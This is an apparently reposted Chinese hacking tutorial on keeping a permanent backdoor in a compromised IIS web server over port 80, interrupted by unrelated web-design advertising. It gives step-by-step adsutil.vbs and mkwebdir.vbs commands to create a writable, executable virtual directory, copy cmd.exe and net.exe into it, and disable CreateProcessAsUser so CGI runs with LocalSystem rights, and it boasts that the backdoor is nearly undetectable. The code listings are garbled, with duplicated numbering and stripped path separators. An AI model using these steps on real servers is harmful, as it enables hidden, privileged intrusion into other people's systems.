真正的IIS永远的后门解密

IIS是比较流行的www服务器，设置不当漏洞就很多。入侵iis服务器后留下后门，以后就可以随时控制。一般的后门程序都是打开一个特殊的端口来监听，比如有nc,ntlm,rnc等等都是以一种类telnet的方式在服务器端监听远程的连接控制。不过一个比较防范严密的www站点（他们的管理员吃了苦头后）一般通过防火墙对端口进行限制，这样除了管理员开的端口外，其他端口就不能连接了。但是80端口是不可能关闭的（如果管理员没有吃错药）。那么我们可以通过在80端口留后门，来开启永远的后门。

成都创新互联公司是一家专注于成都网站制作、成都网站建设与策划设计,乐都网站建设哪家好?成都创新互联公司做网站,专注于网站建设10多年,网设计领域的专业建站公司;建站业务涵盖:乐都等地区。乐都做网站价格咨询:18982081108

当IIS启动CGI应用程序时，缺省用CreateProcessAsUser API来创建该CGI的新Process,该程序的安全上下文就由启动该CGI的用户决定。一般匿名用户都映射到IUSR_computername这个账号，当然可以由管理员改为其他的用户。或者由浏览器提供一个合法的用户。两者的用户的权限都是比较低，可能都属于guest组的成员。其实我们可以修改iis开启CGI的方式，来提高权限。我们来看iis主进程本身是运行在localsystem账号下的，所以我们就可以得到最高localsystem的权限。

入侵web服务器后，一般都可以绑定一个cmd到一个端口来远程控制该服务器。这时可以有GUI的远程控制，比如338Array，或者类telnet text方式的控制，比如rnc。nc肯定是可以用的,其实这也足够了。

1. telnet到服务器

 
 
 
    
  
  
  
  1. 2. cscript.exe adsutil.vbs enum w3svc/1/root  
    2.   
  
  
  2.  
    3.   
  
  
  3. KeyType : (STRING) "IIsWebVirtualDir"  
    4.   
  
  
  4.  
    5.   
  
  
  5. AppRoot : (STRING) "/LM/W3SVC/1/ROOT"  
    6.   
  
  
  6.  
    7.   
  
  
  7. AppFriendlyName : (STRING) "默认应用程序"  
    8.   
  
  
  8.  
    9.   
  
  
  9. AppIsolated : (INTEGER) 2  
    10.   
  
  
  10.  
    11.   
  
  
  11. AccessRead : (BOOLEAN) True  
    12.   
  
  
  12.  
    13.   
  
  
  13. AccessWrite : (BOOLEAN) False  
    14.   
  
  
  14.  
    15.   
  
  
  15. AccessExecute : (BOOLEAN) False  
    16.   
  
  
  16.  
    17.   
  
  
  17. AccessScript : (BOOLEAN) True  
    18.   
  
  
  18.  
    19.   
  
  
  19. AccessSource : (BOOLEAN) False  
    20.   
  
  
  20.  
    21.   
  
  
  21. AccessNoRemoteRead : (BOOLEAN) False  
    22.   
  
  
  22.  
    23.   
  
  
  23. AccessNoRemoteWrite : (BOOLEAN) False  
    24.   
  
  
  24.  
    25.   
  
  
  25. AccessNoRemoteExecute : (BOOLEAN) False  
    26.   
  
  
  26.  
    27.   
  
  
  27. AccessNoRemoteScript : (BOOLEAN) False 
    28.  
 
 
 
 
 
    
  
  
  
  1. HttpErrors : (LIST) (32 Items)  
    2.   
  
  
  2.  
    3.   
  
  
  3. "400,*,FILE,C:WINNThelpiisHelpcommon400.htm"  
    4.   
  
  
  4.  
    5.   
  
  
  5. "401,1,FILE,C:WINNThelpiisHelpcommon401-1.htm"  
    6.   
  
  
  6.  
    7.   
  
  
  7. "401,2,FILE,C:WINNThelpiisHelpcommon401-2.htm"  
    8.   
  
  
  8.  
    9.   
  
  
  9. "401,3,FILE,C:WINNThelpiisHelpcommon401-3.htm"  
    10.   
  
  
  10.  
    11.   
  
  
  11. "401,4,FILE,C:WINNThelpiisHelpcommon401-4.htm"  
    12.   
  
  
  12.  
    13.   
  
  
  13. "401,5,FILE,C:WINNThelpiisHelpcommon401-5.htm" 
    14.  
 
 
 
 
 
    
  
  
  
  1. FrontPageWeb : (BOOLEAN) True  
    2.   
  
  
  2.  
    3.   
  
  
  3. Path : (STRING) "c:inetpubwwwroot"  
    4.   
  
  
  4.  
    5.   
  
  
  5. AccessFlags : (INTEGER) 513  
    6.   
  
  
  6.  
    7.   
  
  
  7. [/w3svc/1/root/localstart.asp]  
    8.   
  
  
  8.  
    9.   
  
  
  9. [/w3svc/1/root/_vti_pvt]  
    10.   
  
  
  10.  
    11.   
  
  
  11. [/w3svc/1/root/_vti_log]  
    12.   
  
  
  12.  
    13.   
  
  
  13. [/w3svc/1/root/_private]  
    14.   
  
  
  14.  
    15.   
  
  
  15. [/w3svc/1/root/_vti_txt]  
    16.   
  
  
  16.  
    17.   
  
  
  17. [/w3svc/1/root/_vti_script]  
    18.   
  
  
  18.  
    19.   
  
  
  19. [/w3svc/1/root/_vti_cnf]  
    20.   
  
  
  20.  
    21.   
  
  
  21. [/w3svc/1/root/_vti_bin] 
    22.

不要告诉我你不知道上面的输出是什么！现在我们心里已经有底了，是不是！呵呵 管理员要倒霉了

 
 
 
    
  
  
  
  1. 3. mkdir c:inetpubwwwrootdir1  
    2.   
  
  
  2.  
    3.   
  
  
  3. 4. cscript.exe mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "Virtual Dir1","c:inetpubwwwrootdir1" 
    4.

这样就建好了一个虚目录：Virtual Dir1，你可以用 1 的命令看一下

5. 接下来要改变一下Virtual Dir1的属性为execute

 
 
 
    
  
  
  
  1. cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accesswrite "true" -s:  
    2.   
  
  
  2.  
    3.   
  
  
  3. cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accessexecute "true" -s: 
    4.

现在你已经可以upload 内容到该目录，并且可以运行。你也可以把cmd.exe net.exe直接拷贝到虚拟目录的磁盘目录中。 bitsCN_com

6. 以下命令通过修改iis metabase 来迫使iis以本身的安全环境来创建新的CGI process

 
 
 
    
  
  
  
  1. Cscript adsutil.vbs set /w3svc/1/root/[your directory]/createprocessasuser false  
    2.   
  
  
  2.  
    3.   
  
  
  3. 注释：cscript windows script host. bitscn.com  
    4.   
  
  
  4.  
    5.   
  
  
  5. adsutil.vbs windows iis administration script  
    6.   
  
  
  6.  
    7.   
  
  
  7. 后面是 iis metabase path 
    8.

这样的后门几乎是无法查出来的，除非把所有的虚目录察看一遍

 
 
 
    
  
  
  
  1. "403,1,FILE,C:WINNThelpiisHelpcommon403-1.htm"  
    2.   
  
  
  2.  
    3.   
  
  
  3. "403,2,FILE,C:WINNThelpiisHelpcommon403-2.htm"  
    4.   
  
  
  4.  
    5.   
  
  
  5. "403,3,FILE,C:WINNThelpiisHelpcommon403-3.htm"  
    6.   
  
  
  6.  
    7.   
  
  
  7. "403,4,FILE,C:WINNThelpiisHelpcommon403-4.htm"  
    8.   
  
  
  8.  
    9.   
  
  
  9. "403,5,FILE,C:WINNThelpiisHelpcommon403-5.htm"  
    10.   
  
  
  10.  
    11.   
  
  
  11. "403,6,FILE,C:WINNThelpiisHelpcommon403-6.htm"  
    12.   
  
  
  12.  
    13.   
  
  
  13. "403,7,FILE,C:WINNThelpiisHelpcommon403-7.htm"  
    14.   
  
  
  14.  
    15.   
  
  
  15. "403,8,FILE,C:WINNThelpiisHelpcommon403-8.htm"  
    16.   
  
  
  16.  
    17.   
  
  
  17. "403,Array,FILE,C:WINNThelpiisHelpcommon403-Array.htm"  
    18.   
  
  
  18.  
    19.   
  
  
  19. "403,10,FILE,C:WINNThelpiisHelpcommon403-10.htm"  
    20.   
  
  
  20.  
    21.   
  
  
  21. "403,11,FILE,C:WINNThelpiisHelpcommon403-11.htm"  
    22.   
  
  
  22.  
    23.   
  
  
  23. "403,12,FILE,C:WINNThelpiisHelpcommon403-12.htm"  
    24.   
  
  
  24.  
    25.   
  
  
  25. "403,13,FILE,C:WINNThelpiisHelpcommon403-13.htm"  
    26.   
  
  
  26.  
    27.   
  
  
  27. "403,15,FILE,C:WINNThelpiisHelpcommon403-15.htm"  
    28.   
  
  
  28.  
    29.   
  
  
  29. "403,16,FILE,C:WINNThelpiisHelpcommon403-16.htm"  
    30.   
  
  
  30.  
    31.   
  
  
  31. "403,17,FILE,C:WINNThelpiisHelpcommon403-17.htm" "404,*,FILE,C:WINNThelpiisHelpcommon404b.htm"  
    32.   
  
  
  32.  
    33.   
  
  
  33. "405,*,FILE,C:WINNThelpiisHelpcommon405.htm"  
    34.   
  
  
  34.  
    35.   
  
  
  35. "406,*,FILE,C:WINNThelpiisHelpcommon406.htm"  
    36.   
  
  
  36.  
    37.   
  
  
  37. "407,*,FILE,C:WINNThelpiisHelpcommon407.htm"  
    38.   
  
  
  38.  
    39.   
  
  
  39. "412,*,FILE,C:WINNThelpiisHelpcommon412.htm"  
    40.   
  
  
  40.  
    41.   
  
  
  41. "414,*,FILE,C:WINNThelpiisHelpcommon414.htm"  
    42.   
  
  
  42.  
    43.   
  
  
  43. "500,12,FILE,C:WINNThelpiisHelpcommon500-12.htm"  
    44.   
  
  
  44.  
    45.   
  
  
  45. "500,13,FILE,C:WINNThelpiisHelpcommon500-13.htm"  
    46.   
  
  
  46.  
    47.   
  
  
  47. "500,15,FILE,C:WINNThelpiisHelpcommon500-15.htm"  
    48.   
  
  
  48.  
    49.   
  
  
  49. "500,100,URL,/iisHelp/common/500-100.asp" 
    50.

IIS的后门解密就为大家介绍完了，希望大家已经掌握。

网站题目：真正的IIS永远的后门解密
当前URL：http://www.csdahua.cn/qtweb/news23/266773.html

网站建设、网络推广公司-快上网，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 快上网

成都快上网为您推荐相关内容

品牌网站建设知识

同城分类信息

自贡服务器托管　　 　微信小程序开发　　 　绵竹网站建设　　 　企业网站设计　　 　重庆小程序开发公司　　 　盐亭网站设计　　 　香港空间腾讯云　　 　网站seo优化　　 　IDC机房托管　　 　成都网站设计　　 　成都小程序　　 　四川主机托管　　 　网站空间　　 　犀浦防纹窗　　 　广安做网站　　 　服务器机柜租用　　 　鸿艺文化　　 　全网营销　　 　崇州做网站　　 　成都枢纽中心